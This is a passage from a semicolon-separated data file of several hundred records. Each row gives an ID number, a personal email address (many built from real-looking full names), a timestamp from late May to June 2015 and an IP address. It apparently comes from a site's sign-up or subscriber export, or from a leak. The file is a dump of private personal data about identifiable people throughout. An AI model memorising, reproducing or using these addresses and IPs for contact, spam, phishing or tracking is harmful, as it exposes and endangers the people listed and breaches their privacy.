19:00:29;92.142.4.121 +10669;gabrielle.ginestet@bbox.fr;2015-05-31 19:22:03;176.182.27.21 +10670;chantal1.roussel@wanadoo.fr;2015-05-31 19:50:24;109.211.237.64 +10671;audrey.berna@wanadoo.fr;2015-05-31 20:00:19;86.194.221.116 +10672;anniejpcana@live.fr;2015-05-31 20:09:19;89.93.82.122 +10673;mariemt@aol.com;2015-05-31 20:26:01;83.194.137.174 +10674;marquessophie@neuf.fr;2015-05-31 20:30:51;79.88.65.117 +10675;chapardy@hotmail.fr;2015-05-31 21:55:10;5.50.193.242 +10676;tajounet@hotmail.fr;2015-05-31 22:28:04;84.101.100.237 +10677;gerard.lenne1@orange.fr;2015-05-31 22:36:54;109.218.236.152 +10678;lipham94@free.fr;2015-05-31 22:59:56;89.93.54.203 +10679;kti.batsalle@gmail.com;2015-05-31 23:11:04;213.245.108.159 +10680;elisabethpires222@yahoo.fr;2015-06-01 00:02:45;89.158.147.68 +10681;hadgina66@gmail.com;2015-06-01 00:25:37;90.7.234.76 +10682;micheledesfrenne@gmail.com;2015-06-01 01:03:06;189.217.20.146 +10683;ulunlae@gmail.com;2015-06-01 01:13:58;109.190.207.244 +10684;sophie.kramer@voila.fr;2015-06-01 04:56:47;80.8.206.13 +10685;pascale.mayer@wanadoo.fr;2015-06-01 06:51:18;86.223.16.215 +10686;denis.billard1@aliceadsl.fr;2015-06-01 07:16:39;78.234.158.87 +10687;christiane.poncelet@wanadoo.frfrfr;2015-06-01 09:59:36;92.156.90.179 +10688;loraeliz@gmail.com;2015-06-01 10:44:59;195.146.234.204 +10689;sabrinachailley54@hotmail.fr;2015-06-01 10:55:06;194.206.179.198 +10690;juliette.philippe14@gmail.com;2015-06-01 11:30:58;88.176.76.147 +10691;suzannemaza@hotmail.fr;2015-06-01 11:36:23;90.53.226.192 +10692;jacqueline.capelli@ujf-grenoble.fr;2015-06-01 11:52:15;152.77.66.134 +10693;fifibrinda@wanadoo.fr;2015-06-01 12:00:50;195.6.98.81 +10694;gabrielle_bouchez@hotmail.fr;2015-06-01 12:10:03;92.144.108.206 +10695;iizabou@hotmail.fr;2015-06-01 12:11:50;90.80.243.64 +10696;magali@baudy.fr;2015-06-01 12:32:38;77.144.134.57 +10697;cath.bertrand31@gmail.com;2015-06-01 12:57:31;90.28.80.48 +10698;fjouans@wanadoo.fr;2015-06-01 13:10:44;92.133.231.87 +10699;pascale.rethore@orange.fr;2015-06-01 13:22:37;90.57.146.209 +10700;philippe.havard0861@orange.fr;2015-06-01 13:40:03;80.241.68.117 +10701;sylvie.butte@orange.fr;2015-06-01 14:44:43;92.152.60.121 +10702;mlaroye@hotmail.fr;2015-06-01 14:47:52;212.23.175.186 +10703;v.cusey@laposte.net;2015-06-01 15:50:34;88.189.9.179 +10704;jeanyves.pigeon@bbox.fr;2015-06-01 16:52:29;176.188.241.243 +10705;charlottelandrin@yahoo.fr;2015-06-01 17:12:22;88.187.65.71 +10706;patoo59@hotmail.fr;2015-06-01 17:31:44;92.142.136.191 +10707;joelle.trezzini@sfr.fr;2015-06-01 18:29:46;77.144.86.6 +10708;francoise.rino@gmail.com;2015-06-01 19:42:19;88.179.249.26 +10709;ak_larome@yahoo.fr;2015-06-01 19:59:01;90.43.47.54 +10710;missfushiah@live.fr;2015-06-01 20:15:54;213.44.229.8 +10711;isabelle_dethioux@hotmail.com;2015-06-01 20:28:42;109.88.150.121 +10712;sylvlaveant@hotmail.fr;2015-06-01 20:31:13;81.53.162.87 +10713;estelle.camous@live.fr;2015-06-01 21:38:40;86.210.198.99 +10714;pierreviardgaudin@orange.fr;2015-06-01 21:57:24;90.42.61.51 +10715;manonastarie8@gmail.com;2015-06-01 22:27:48;93.26.92.69 +10716;bechon.helene@orange.fr;2015-06-01 23:00:46;2.2.222.140 +10717;lemairecarole@gmail.com;2015-06-01 23:54:23;88.136.176.105 +10718;fabiolabolon@gmail.com;2015-06-02 06:53:53;154.67.83.36 +10719;martine.michelin@yahoo.fr;2015-06-02 08:21:50;82.227.31.131 +10720;gaudibert04@gmail.com;2015-06-02 09:04:26;109.210.221.193 +10721;pflemi_r@yahoo.fr;2015-06-02 09:09:50;83.141.141.26 +10722;maite.peberel@gmail.com;2015-06-02 09:26:28;78.201.44.194 +10723;catherine.pavet@gmail.com;2015-06-02 10:12:40;82.234.212.65 +10724;christelle.guhl@free.fr;2015-06-02 10:15:18;217.108.131.76 +10725;engelchen_4@hotmail.com;2015-06-02 10:26:55;91.90.102.5 +10726;sarahsynge@gmail.com;2015-06-02 10:39:05;81.53.145.133 +10727;valerie.lavie@yahoo.fr;2015-06-02 11:02:00;62.23.130.46 +10728;laetitiatusseau@gmail.com;2015-06-02 11:03:11;90.14.255.165 +10729;michelejuliette@orange.fr;2015-06-02 11:06:52;86.209.195.253 +10730;guylene.medina@hotmail.fr;2015-06-02 11:41:19;82.233.86.92 +10731;roux.mela@orange.fr;2015-06-02 11:58:32;92.160.154.97 +10732;chris.michelle@hotmail.fr;2015-06-02 11:58:48;212.94.170.246 +10733;catherine.cavellec@free.fr;2015-06-02 12:18:14;82.246.32.179 +10734;qd.vrignon@orange.fr;2015-06-02 13:24:27;194.51.1.229 +10735;laetitiamathurel@hotmail.fr;2015-06-02 13:32:13;80.215.194.74 +10736;babypouce95@gmail.com;2015-06-02 13:36:37;93.20.41.4 +10737;tinkeremilie63@laposte.net;2015-06-02 13:44:34;83.202.216.188 +10738;corinne.dziadon@orange.fr;2015-06-02 13:46:19;217.128.203.43 +10739;308544534@QQ.COM;2015-06-02 14:06:36;82.234.64.116 +10740;valotmarie@gmail.com;2015-06-02 14:17:41;128.79.20.146 +10741;il.dallal@yahoo.fr;2015-06-02 14:20:03;41.248.252.54 +10742;isa.duret@yahoo.fr;2015-06-02 14:39:41;92.162.177.235 +10743;amami@sfr.fr;2015-06-02 15:22:13;78.219.202.85 +10744;sandrine.deknuydt@sfr.fr;2015-06-02 15:44:01;176.145.65.180 +10745;soisic84@orange.fr;2015-06-02 15:47:52;92.158.231.121 +10746;dmc.dupont@wanadoo.fr;2015-06-02 16:00:31;92.145.146.218 +10747;kinou61@hotmail.com;2015-06-02 16:10:35;192.54.145.66 +10748;izafromparis@yahoo.fr;2015-06-02 16:26:56;77.57.198.58 +10749;mikimouss@me.com;2015-06-02 16:47:49;78.213.9.145 +10750;nananisme3@hotmail.com;2015-06-02 17:51:19;92.93.227.30 +10751;santini.aurelie@gmail.com;2015-06-02 18:43:56;84.6.120.149 +10752;binou013@yahoo.fr;2015-06-02 18:47:56;84.6.236.63 +10753;fontaine_helene@yahoo.fr;2015-06-02 19:34:48;92.160.83.24 +10754;fanfan.perrussel@gmail.com;2015-06-02 19:42:40;79.150.193.86 +10755;ana_millet@yahoo.com;2015-06-02 19:47:06;88.142.223.68 +10756;huguetamandine@orange.fr;2015-06-02 20:05:00;82.216.242.229 +10757;eddopetit@free.fr;2015-06-02 20:09:20;185.76.0.213 +10758;adeline.cortina@live.fr;2015-06-02 20:57:17;82.236.247.16 +10759;roxye5@hotmail.fr;2015-06-02 21:32:54;90.48.128.42 +10760;ldupoirier@gmail.com;2015-06-02 21:36:19;88.189.117.188 +10761;allanofranck@orange.fr;2015-06-02 21:39:40;86.198.91.240 +10762;delattre-laura07@homail.fr;2015-06-02 22:53:51;176.146.69.116 +10763;berclo62112@hotmail.fr;2015-06-02 23:10:26;86.72.71.27 +10764;lababouk@yahoo.fr;2015-06-03 07:06:02;90.10.233.154 +10765;veronique1.meunier@gmail.com;2015-06-03 08:52:50;194.98.114.101 +10766;ascrevet@free.fr;2015-06-03 09:14:06;82.225.213.251 +10767;laspeek@orange.fr;2015-06-03 10:03:21;90.17.206.230 +10768;frederic.schmitt.1@live.fr;2015-06-03 10:12:50;194.250.204.33 +10769;florence.henguelle@gmail.com;2015-06-03 10:48:44;78.195.38.5 +10770;stephpialat@hotmail.com;2015-06-03 10:54:24;83.167.144.173 +10771;nicole.zaimeche@orange.fr;2015-06-03 11:47:44;90.18.174.166 +10772;eva.emilova@hotmail.es;2015-06-03 12:17:01;88.3.161.165 +10773;agnes.decorsaint@orange.fr;2015-06-03 13:58:49;92.146.76.78 +10774;genevievesamson@sfr.fr;2015-06-03 14:44:37;109.16.186.17 +10775;virco@laposte.net;2015-06-03 14:44:49;194.8.148.16 +10776;christine.roig@hotmail.fr;2015-06-03 16:24:15;92.159.215.9 +10777;gigietmimi@yahoo.fr;2015-06-03 16:33:02;176.188.178.218 +10778;riou_g@hotmail.com;2015-06-03 17:05:35;78.252.13.18 +10779;severine.joly@dentsuaegis.com;2015-06-03 17:29:49;84.233.174.130 +10780;dom.hug@bluewin.ch;2015-06-03 17:37:58;83.153.143.127 +10781;pajot.valerie@hotmail.fr;2015-06-03 18:30:58;81.51.15.246 +10782;regine-droulin@orange.fr;2015-06-03 18:38:15;109.209.44.213 +10783;comvand@orange.fr;2015-06-03 19:48:22;90.7.244.11 +10784;morvanveronique29@orange.fr;2015-06-03 19:58:23;81.53.41.243 +10785;alinea.b@orange.fr;2015-06-03 20:10:38;109.21.29.31 +10786;lolomorgiou@hotmail.fr;2015-06-03 20:41:52;82.232.118.61 +10787;annie.michel051@orange.fr;2015-06-03 20:55:06;83.198.182.235 +10788;patriciapoirson@wanadoo.fr;2015-06-03 21:03:59;90.26.159.237 +10789;perez-quinsac@wanadoo.fr;2015-06-03 21:22:44;90.11.56.213 +10790;icetetanye@yahoo.com;2015-06-03 22:10:09;154.72.132.180 +10791;agelesstay@orange.fr;2015-06-03 22:15:56;92.156.99.219 +10792;laurencebillerey@gmail.com;2015-06-03 22:45:06;90.54.101.182 +10793;julie.neef@gmail.com;2015-06-04 01:46:45;176.187.163.154 +10794;robert.locicero@gmail.com;2015-06-04 07:46:54;109.25.165.119 +10795;g.argaud@gmail.com;2015-06-04 08:42:21;88.169.249.97 +10796;d.tricot.michel@gmail.com;2015-06-04 09:06:17;83.113.129.161 +10797;SHOPPING@ROUGIO.COM;2015-06-04 10:02:53;86.66.29.70 +10798;nini.martin31@yahoo.com;2015-06-04 11:36:37;78.225.227.162 +10799;mcarnesi@orange.fr;2015-06-04 11:45:44;82.120.53.11 +10800;laetitiavolta@yahoo.fr;2015-06-04 11:53:36;46.20.165.234 +10801;lou.brosse@gmail.com;2015-06-04 12:05:04;90.52.111.254 +10802;dcbretagne@aol.com;2015-06-04 12:39:54;88.169.158.167 +10803;carole.guy-hourlier@orange.fr;2015-06-04 12:52:37;90.33.117.137 +10804;veronique.furness@wanadoo.fr;2015-06-04 12:56:28;212.234.124.134 +10805;blecossec92@gmail.com;2015-06-04 12:58:24;109.2.138.2 +10806;veronique.varreaux@club.fr;2015-06-04 13:19:37;79.93.108.193 +10807;chantalminaud2@hotmail.com;2015-06-04 13:30:47;82.245.64.10 +10808;maryvonnemarshall@orange.fr;2015-06-04 13:39:29;83.201.5.158 +10809;celine_fleury@aliceadsl.fr;2015-06-04 14:56:53;90.80.80.49 +10810;orlando.do.carmo@orange.fr;2015-06-04 15:18:26;82.124.166.52 +10811;christelecazeaux@yahoo.fr;2015-06-04 15:31:40;195.5.203.58 +10812;pharmaciepotavin@orange.fr;2015-06-04 17:07:11;81.251.203.209 +10813;orain.deborah@yahoo.fr;2015-06-04 17:59:08;81.50.1.219 +10814;gillesbaudon@orange.fr;2015-06-04 18:08:07;92.146.49.155 +10815;meresseveronique@orange.fr;2015-06-04 20:08:13;90.34.89.20 +10816;muriellebrillant@gmail.com;2015-06-04 20:15:41;79.86.170.154 +10817;cmoi31@gmail.com;2015-06-04 21:13:54;2.6.0.254 +10818;jlouis.leveque11@gmail.com;2015-06-04 21:23:15;176.182.8.239 +10819;martinepacaut@orange.fr;2015-06-04 22:11:45;90.56.196.9 +10820;bsjm@live.be;2015-06-04 22:17:07;109.130.96.35 +10821;laetitialacroixlemaire@gmail.com;2015-06-04 22:30:11;77.129.108.14 +10822;journot.helene@wanadoo.fr;2015-06-04 22:59:41;86.235.111.52 +10823;m.legrand8@libertysurf.fr;2015-06-04 23:29:35;88.123.234.8 +10824;zh2345678900@gmail.com;2015-06-04 23:39:47;218.250.191.110 +10825;brun-jeanne@wanadoo.fr;2015-06-04 23:51:21;78.237.42.59 +10826;henrith@voila.fr;2015-06-05 07:55:50;86.77.185.233 +10827;patrice-isa.viau@wanadoo.fr;2015-06-05 08:30:39;2.0.215.7 +10828;sureau.marie@yahoo.fr;2015-06-05 08:47:09;62.35.57.192 +10829;sylviequetil@free.fr;2015-06-05 08:57:50;88.175.52.34 +10830;abensoussan.avocat@yahoo.fr;2015-06-05 09:19:38;80.15.197.28 +10831;leperlier.patricia@orange.fr;2015-06-05 09:23:04;195.6.1.7 +10832;ingridraut@orange.fr;2015-06-05 10:13:21;92.135.81.227 +10833;aurelie28.kaczmarek@gmail.com;2015-06-05 10:55:15;86.65.126.162 +10834;fbalidia@wanadoo.fr;2015-06-05 11:05:27;217.128.200.122 +10835;defendinivalerie@yahoo.fr;2015-06-05 11:10:21;80.14.143.90 +10836;fabiennelocco@hotmail.com;2015-06-05 11:17:00;93.17.34.202 +10837;annelebozec@gmail.com;2015-06-05 11:20:17;2.0.75.249 +10838;b.cathy61@yahoo.fr;2015-06-05 12:02:01;88.174.11.231 +10839;patricia.arino@poughon.fr;2015-06-05 12:06:34;81.56.120.95 +10840;storm_33@hotmail.fr;2015-06-05 12:12:13;93.174.144.105 +10841;bullecc@sfr.fr;2015-06-05 12:25:59;80.12.107.129 +10842;monnot.laure@gmail.com;2015-06-05 13:07:35;81.67.220.94 +10843;marietherese.helbert@yahoo.fr;2015-06-05 13:29:43;88.184.212.36 +10844;vepellet@yahoo.fr;2015-06-05 14:02:13;86.67.236.176 +10845;verow83@gmail.com;2015-06-05 14:07:53;83.201.184.62 +10846;evesabatier@orange.fr;2015-06-05 14:09:20;86.216.62.151 +10847;pharmacie.danton@orange.fr;2015-06-05 14:14:59;90.23.81.113 +10848;patricia.graciet@free.fr;2015-06-05 15:15:38;176.149.132.24 +10849;catherine.neuplanche@sfr.fr;2015-06-05 15:30:06;79.87.81.82 +10850;martine.senia@gmail.com;2015-06-05 16:02:23;193.194.132.77 +10851;nicole.martin76@gmail.com;2015-06-05 16:06:17;80.215.178.62 +10852;nancy.caetano@hotmail.com;2015-06-05 16:20:35;159.220.75.3 +10853;francebarbe@gmail.Com;2015-06-05 17:14:09;78.200.26.73 +10854;labonde.helene@orange.fr;2015-06-05 17:36:31;90.48.14.161 +10855;MAORIE@MSN.COM;2015-06-05 17:39:48;193.251.183.217 +10856;lialuz@hotmail.fr;2015-06-05 19:56:00;85.69.41.160 +10857;sabine.folcher@aliceadsl.fr;2015-06-05 20:04:26;93.7.36.120 +10858;mcjolop@free.fr;2015-06-05 20:49:53;88.172.11.245 +10859;fermesaintlouis@orange.fr;2015-06-05 21:05:23;83.202.188.238 +10860;anaelle.lamoly@hotmail.fr;2015-06-05 21:15:57;47.62.111.110 +10861;eva.lukjanenko@hotmail.fr;2015-06-05 21:40:02;85.170.223.101 +10862;m.aulagnier@me.com;2015-06-05 21:51:51;88.185.227.128 +10863;vgrffith.nayler@gmail.com;2015-06-05 22:23:27;81.64.57.243 +10864;prosty22@yahoo.fr;2015-06-05 23:05:06;86.218.248.147 +10865;carolineme67@gmail.com;2015-06-05 23:21:04;90.26.144.20 +10866;nadjahei@gmx.ch;2015-06-06 00:37:29;31.39.105.91 +10867;camille.martin00@gmail.com;2015-06-06 01:06:25;2.4.17.48 +10868;katty.lenormand@gmail.com;2015-06-06 02:15:34;175.158.149.50 +10869;anne-emelie.wenig@orange.fr;2015-06-06 07:46:21;92.144.116.132 +10870;patrick.gaiardo@free.fr;2015-06-06 08:56:53;78.226.231.196 +10871;thierry.landelle@wanadoo.fr;2015-06-06 09:34:23;90.25.203.96 +10872;alinareboredo@gmail.com;2015-06-06 09:36:44;84.97.82.26 +10873;esquerdes@gmail.com;2015-06-06 10:02:08;78.230.65.150 +10874;sylvie.norvez@free.fr;2015-06-06 10:04:44;194.214.70.252 +10875;lahaye.chr@skynet.be;2015-06-06 10:38:26;91.178.198.251 +10876;amandine.du.blog.ailleurs@gmail.com;2015-06-06 11:49:31;85.68.195.207 +10877;jpradier47@orange.fr;2015-06-06 15:09:26;90.4.214.35 +10878;christine_jolly@bbox.fr;2015-06-06 15:10:39;89.88.102.160 +10879;lisa.ras@hotmail.fr;2015-06-06 15:40:51;109.217.57.222 +10880;aubinvalerie91@gmail.com;2015-06-06 16:02:57;80.12.160.150 +10881;mathilde.mossler45@orange.fr;2015-06-06 16:05:30;90.19.199.223 +10882;fontenotw@sbcglobal.net;2015-06-06 16:22:34;66.90.183.183 +10883;maud.missonnier@orange.fr;2015-06-06 18:10:34;109.209.92.215 +10884;eliane.dekesel@sfr.fr;2015-06-06 18:51:21;89.170.77.122 +10885;clara12@netcourrier.com;2015-06-06 19:40:14;77.207.175.71 +10886;akonya@numericable.fr;2015-06-06 19:50:45;85.170.88.168 +10887;dosreis.sandrine@yahoo.fr;2015-06-06 20:27:23;88.179.135.229 +10888;corinne.de-barros-alves@wanadoo.fr;2015-06-06 20:40:48;92.148.171.230 +10889;marilene.33@live.fr;2015-06-06 20:48:11;77.147.21.20 +10890;nathalie.remen@orange.fr;2015-06-06 21:36:36;92.161.191.253 +10891;shirley.caroline@yahoo.fr;2015-06-06 21:49:39;88.124.193.83 +10892;lmoaar@gmail.com;2015-06-06 21:55:24;78.223.115.87 +10893;valerie.farge@orange.fr;2015-06-06 22:18:25;86.196.34.74 +10894;ferreiramarie@hotmail.fr;2015-06-06 23:01:47;82.227.96.121 +10895;marteria@live.fr;2015-06-07 01:07:01;78.241.145.171 +10896;ginimathieu@yahoo.fr;2015-06-07 01:19:11;89.227.78.230 +10897;famille.firmin@lagoon.nc;2015-06-07 06:36:51;175.158.172.17 +10898;cbaratte@wanadoo.fr;2015-06-07 08:07:28;90.15.27.230 +10899;thmerlin@hotmail.fr;2015-06-07 08:32:38;87.231.81.67 +10900;pascaleloriot@gmail.com;2015-06-07 09:45:00;84.102.240.134 +10901;laurent.porthault@bbox.fr;2015-06-07 10:52:30;176.146.138.76 +10902;michel.martin04@orange.fr;2015-06-07 10:53:37;109.208.207.222 +10903;garlle.labaudre@wanadoo.fr;2015-06-07 11:27:08;90.61.170.19 +10904;pascal.paillou@sfr.fr;2015-06-07 11:43:09;84.99.99.159 +10905;sylviane.rambaud@neif.fr;2015-06-07 12:08:31;84.103.31.199 +10906;marc.charlier7@gmail.com;2015-06-07 12:17:56;81.247.98.31 +10907;veronique.labia@orange.fr;2015-06-07 12:27:20;86.221.252.130 +10908;mandragore8@hotmail.fr;2015-06-07 14:02:49;78.115.14.110 +10909;v.perrier@orange.fr;2015-06-07 14:28:32;80.12.63.14 +10910;lussel@hotmail.fr;2015-06-07 16:01:41;213.111.59.205 +10911;chrislop84@gmail.com;2015-06-07 16:11:44;90.8.193.233 +10912;sylviedalmau@orange.fr;2015-06-07 16:42:14;92.152.69.223 +10913;sypopelin@neuf.fr;2015-06-07 17:00:17;93.9.32.8 +10914;joeldu54@live.fr;2015-06-07 17:41:51;86.75.66.144 +10915;jpgarcia38@free.fr;2015-06-07 17:50:18;78.250.213.211 +10916;marion.stephanie.sm@gmail.com;2015-06-07 17:53:45;31.32.50.226 +10917;anne.m.leray@orange.fr;2015-06-07 18:25:49;2.12.181.74 +10918;rene.lacroix662@orange.fr;2015-06-07 19:05:00;90.1.91.155 +10919;gressien-catherine@bbox.fr;2015-06-07 19:26:11;31.35.147.163 +10920;rioual.michelle@orange.fr;2015-06-07 19:39:45;109.218.101.225 +10921;merien.freire@gmail.com;2015-06-07 20:06:13;78.224.13.69 +10922;domy.commetes@orange.fr;2015-06-07 20:46:29;83.205.175.37 +10923;ph.dewynter@neuf.fr;2015-06-07 21:58:39;86.73.121.174 +10924;so.warin@neuf.fr;2015-06-07 22:11:42;89.170.225.80 +10925;pauline_1987@hotmail.fr;2015-06-07 22:31:55;86.200.68.51 +10926;trouillas.isabelle@wanadoo.fr;2015-06-07 23:41:01;80.12.161.74 +10927;pantherose94@hotmail.com;2015-06-07 23:43:40;86.72.1.74 +10928;avabystrzycki@orange.fr;2015-06-08 06:47:57;83.194.86.52 +10929;patricia_fardilha@bbox.fr;2015-06-08 07:00:17;128.78.114.88 +10930;cathy1710@orange.fr;2015-06-08 07:31:54;90.38.144.189 +10931;mariemathieu@msn.com;2015-06-08 10:23:08;31.32.14.170 +10932;msaoudi@hotmail.com;2015-06-08 10:35:21;90.16.182.88 +10933;martingene@orange.fr;2015-06-08 10:51:17;92.139.110.131 +10934;laurence.merchez@dbmail.com;2015-06-08 11:15:11;89.159.145.104 +10935;eveline.dechamp@ird.fr;2015-06-08 11:39:33;91.203.34.14 +10936;dalila_pro_75@hotmail.fr;2015-06-08 12:26:17;80.13.202.105 +10937;tendrevany69@yahoo.fr;2015-06-08 12:51:08;82.234.229.138 +10938;muriel.ghm@skynet.be;2015-06-08 12:56:54;217.117.36.65 +10939;melich.edwina@yahoo.com;2015-06-08 13:12:02;78.234.80.161 +10940;elizabeth3574@163.com;2015-06-08 13:16:50;107.178.195.215 +10941;caillet.ginette@wanadoo.fr;2015-06-08 13:19:00;86.208.127.154 +10942;mg.geoffroy.mg@gmail.com;2015-06-08 13:46:40;93.4.50.105 +10943;lauresabatier@hotmail.com;2015-06-08 14:11:01;176.145.29.211 +10944;stefdec29@hotmail.fr;2015-06-08 14:12:54;78.119.55.125 +10945;renrourourou@gmail.com;2015-06-08 15:13:59;85.69.243.157 +10946;Coquelicot128@hotmail.com;2015-06-08 15:26:49;86.212.136.157 +10947;fraferrati@gmail.com;2015-06-08 15:37:58;88.183.200.176 +10948;nathalie.canneaux@orange.fr;2015-06-08 15:50:15;90.36.120.144 +10949;aversavel0586@orange.fr;2015-06-08 17:33:20;81.48.226.75 +10950;herminesusant@hotmail.com;2015-06-08 18:55:18;109.135.1.65 +10951;johannaloire@gmail.com;2015-06-08 20:27:04;89.156.123.253 +10952;giallombardocf@orange.fr;2015-06-08 20:42:14;92.130.125.123 +10953;bdtcindy@gmail.com;2015-06-08 22:29:57;188.63.31.216 +10954;gedge@mycable.ch;2015-06-08 22:31:18;81.13.178.150 +10955;nathaliebagnost@gmail.com;2015-06-09 00:41:07;109.31.251.57 +10956;murielle.jeanroy@wanadoo.fr;2015-06-09 08:05:18;90.56.162.57 +10957;jannick@bluewin.ch;2015-06-09 08:16:57;92.148.96.215 +10958;grommengilberte@hotmail.com;2015-06-09 09:12:33;94.252.41.180 +10959;corine@rebelle-sante.com;2015-06-09 09:22:35;83.114.220.252 +10960;gwenaelle.mullier@neuf.fr;2015-06-09 10:05:43;78.124.115.216 +10961;nathalie.puget@free.fr;2015-06-09 10:13:05;81.57.142.70 +10962;bouthainasaad@hotmail.com;2015-06-09 10:26:49;81.57.249.249 +10963;magaburgy@hotmail.fr;2015-06-09 10:37:13;77.242.202.234 +10964;chgdecruz@gmail.com;2015-06-09 10:44:14;83.112.191.56 +10965;e.marcourt@gmail.com;2015-06-09 11:06:15;81.248.213.20 +10966;gaudryjackie@gmail.com;2015-06-09 11:12:15;188.188.5.42 +10967;raffardbenedicte@gmail.com;2015-06-09 11:37:12;194.8.148.132 +10968;michele-herbin@orange.fr;2015-06-09 12:07:38;90.28.239.124 +10969;sdinis@live.fr;2015-06-09 12:22:29;176.222.211.74 +10970;arezki90@hotmail.fr;2015-06-09 13:21:43;5.48.189.23 +10971;valentin.marianne@wanadoo.fr;2015-06-09 13:37:55;86.197.193.242 +10972;forterre.l@gmail.com;2015-06-09 13:53:48;62.39.91.162 +10973;clodine2806@aol.com;2015-06-09 14:24:08;86.70.189.113 +10974;martine.pierart@icloud.com;2015-06-09 15:34:21;62.235.193.78 +10975;mamynet@orange.fr;2015-06-09 15:57:34;83.112.49.30 +10976;dupierre.marguerite@gmail.com;2015-06-09 16:09:49;87.231.1.104 +10977;louise.arcade@gmail.com;2015-06-09 16:29:16;128.79.43.209 +10978;coraliecaujolle@gmail.com;2015-06-09 16:55:14;80.12.59.7 +10979;booms54lang@yahoo.fr;2015-06-09 17:49:20;88.127.56.56 +10980;eytchitchiama@wanadoo.fr;2015-06-09 18:02:52;83.203.241.179 +10981;sophie.leclercq8@gmailo.com;2015-06-09 19:16:58;90.17.194.94 +10982;elisabeth.castellesi@wanadoo.fr;2015-06-09 20:08:41;90.15.43.215 +10983;gopalchantal@outlook.com;2015-06-09 20:12:25;80.69.220.214 +10984;fanny.vitrey@nordnet.fr;2015-06-09 20:35:45;92.90.17.156 +10985;nemdana@gmail.com;2015-06-09 20:53:32;86.66.222.43 +10986;marzec.amandine@hotmail.fr;2015-06-09 21:27:37;88.219.193.106 +10987;catria11@hotmail.com;2015-06-09 21:51:30;81.247.8.215 +10988;catherine.traxel@hotmail.fr;2015-06-09 21:53:53;89.92.143.200 +10989;florencesautier@yahoo.fr;2015-06-09 22:02:57;77.193.144.51 +10990;nathaliebrissard@free.Fr;2015-06-09 22:06:40;89.93.233.41 +10991;helenebelln@gmx.fr;2015-06-09 22:07:08;78.222.124.126 +10992;petit_carton@hotmail.com;2015-06-09 22:35:25;88.137.217.48 +10993;binouche63@hotmail.fr;2015-06-09 22:50:41;90.29.158.74 +10994;brunomallet@neuf.fr;2015-06-09 22:52:15;78.115.5.149 +10995;alexdx029@hotmail.fr;2015-06-09 23:12:22;2.14.80.39 +10996;martine.soulie@wanadoo.fr;2015-06-10 00:07:23;90.11.164.127 +10997;zed-sarah@hotmail.fr;2015-06-10 00:49:46;82.233.11.50 +10998;celine.libert@skynet.be;2015-06-10 06:11:20;87.67.175.140 +10999;TUHEIL.SYLVIE@ORANGE.FR;2015-06-10 07:12:23;109.214.255.10 +11000;mplanells@sfr.fr;2015-06-10 08:30:47;109.7.241.44 +11001;elomeli@hotmail.fr;2015-06-10 08:58:22;82.245.225.184 +11002;bettyboop.bv@gmail.com;2015-06-10 09:03:29;86.194.38.144 +11003;liyu@yuewei007.com;2015-06-10 09:12:49;211.95.4.90 +11004;mariarochat@free.fr;2015-06-10 09:16:44;82.238.27.106 +11005;selenalorito@yahoo.fr;2015-06-10 10:33:51;192.196.142.21 +11006;marisgodoi@hotmail.com;2015-06-10 10:34:53;194.51.11.184 +11007;mathonets@gmail.com;2015-06-10 11:00:11;213.177.69.212 +11008;golleretnmn@yahoo.fr;2015-06-10 11:15:05;78.232.47.83 +11009;stephanie-france.velly@orange.fr;2015-06-10 11:17:26;92.135.167.78 +11010;sabine.cherifi@orange.fr;2015-06-10 12:08:50;83.97.61.253 +11011;jean-luc.duparcq@wanadoo.fr;2015-06-10 12:17:49;93.22.169.55 +11012;sylvie.pascal@yahoo.fr;2015-06-10 12:24:57;84.101.210.152 +11013;audrey.cuesta@gmail.com;2015-06-10 13:44:03;176.184.26.128 +11014;love_cherry@hotmail.fr;2015-06-10 14:34:39;88.140.83.169 +11015;brissardn@gmail.com;2015-06-10 14:56:33;129.175.225.185 +11016;nathaliecousin76@aol.com;2015-06-10 15:16:00;93.1.167.94 +11017;chov59@gmail.com;2015-06-10 15:51:00;81.49.98.148 +11018;alain.jocou@guideo.fr;2015-06-10 16:41:28;82.123.208.97 +11019;ninie-henot@hotmail.fr;2015-06-10 17:10:06;82.224.190.133 +11020;lescurejoelle@gmail.com;2015-06-10 18:45:34;78.233.187.141 +11021;beatricemartin1704@orange.fr;2015-06-10 19:13:36;176.251.147.54 +11022;laurie.gpe@gmail.com;2015-06-10 19:28:13;89.156.62.18 +11023;sophie@chinook-communication.com;2015-06-10 20:06:45;90.24.28.132 +11024;a.tomas@outlook.fr;2015-06-10 20:16:37;86.195.214.128 +11025;stellarenaud@sfr.fr;2015-06-10 20:57:58;93.13.221.102 +11026;sandrinevauthier@hotmail.fr;2015-06-10 20:59:27;176.149.54.223 +11027;laurenormand44@gmail.com;2015-06-10 21:07:34;90.12.87.7 +11028;eloxyde@hotmail.fr;2015-06-10 21:08:21;89.83.202.67 +11029;karine-regis.farre@orange.fr;2015-06-10 21:09:06;90.50.198.242 +11030;soniamaltet@free.f;2015-06-10 21:28:37;78.241.215.34 +11031;sylvie.trecant@bbox.fr;2015-06-10 23:24:36;128.79.116.147 +11032;vertjade2110@gmail.com;2015-06-11 02:13:54;82.66.123.171 +11033;du-pont-du-gers@orange.fr;2015-06-11 10:03:26;86.221.4.211 +11034;MIASOF@VOILA.FR;2015-06-11 10:50:15;109.219.185.112 +11035;laura.courtois87@gmail.com;2015-06-11 11:23:10;78.221.134.4 +11036;libellule.bleue@hotmail.fr;2015-06-11 12:53:10;87.90.239.117 +11037;valeriebarthes@wanadoo.fr;2015-06-11 13:01:35;217.169.240.180 +11038;adeline.hugues@hotmail.fr;2015-06-11 13:20:24;78.220.185.48 +11039;sarahgestevez@gmail.com;2015-06-11 14:08:18;174.64.77.88 +11040;corinne.37@hotmail.fr;2015-06-11 14:45:13;109.2.69.163 +11041;genevieve_garnier@yahoo.fr;2015-06-11 15:09:54;82.216.85.69 +11042;dolmazon@neuf.fr;2015-06-11 15:17:26;82.216.138.72 +11043;44zakia44@gmail.com;2015-06-11 15:22:58;88.1.20.17 +11044;bidule5913@hotmail.fr;2015-06-11 15:36:38;92.91.102.32 +11045;breizhadamasia@yahoo.fr;2015-06-11 15:47:30;82.245.190.213 +11046;flolejeune@free.fr;2015-06-11 16:00:26;92.245.143.12 +11047;liliane.ney@wanadoo.fr;2015-06-11 16:05:41;90.27.115.80 +11048;desobry.anne@gmail.com;2015-06-11 17:02:15;91.182.107.255 +11049;l.anniere@aliceadsl.fr;2015-06-11 17:08:33;82.250.188.103 +11050;fazilet.diff@gmail.com;2015-06-11 17:16:22;41.106.4.138 +11051;delphnico@bbox.fr;2015-06-11 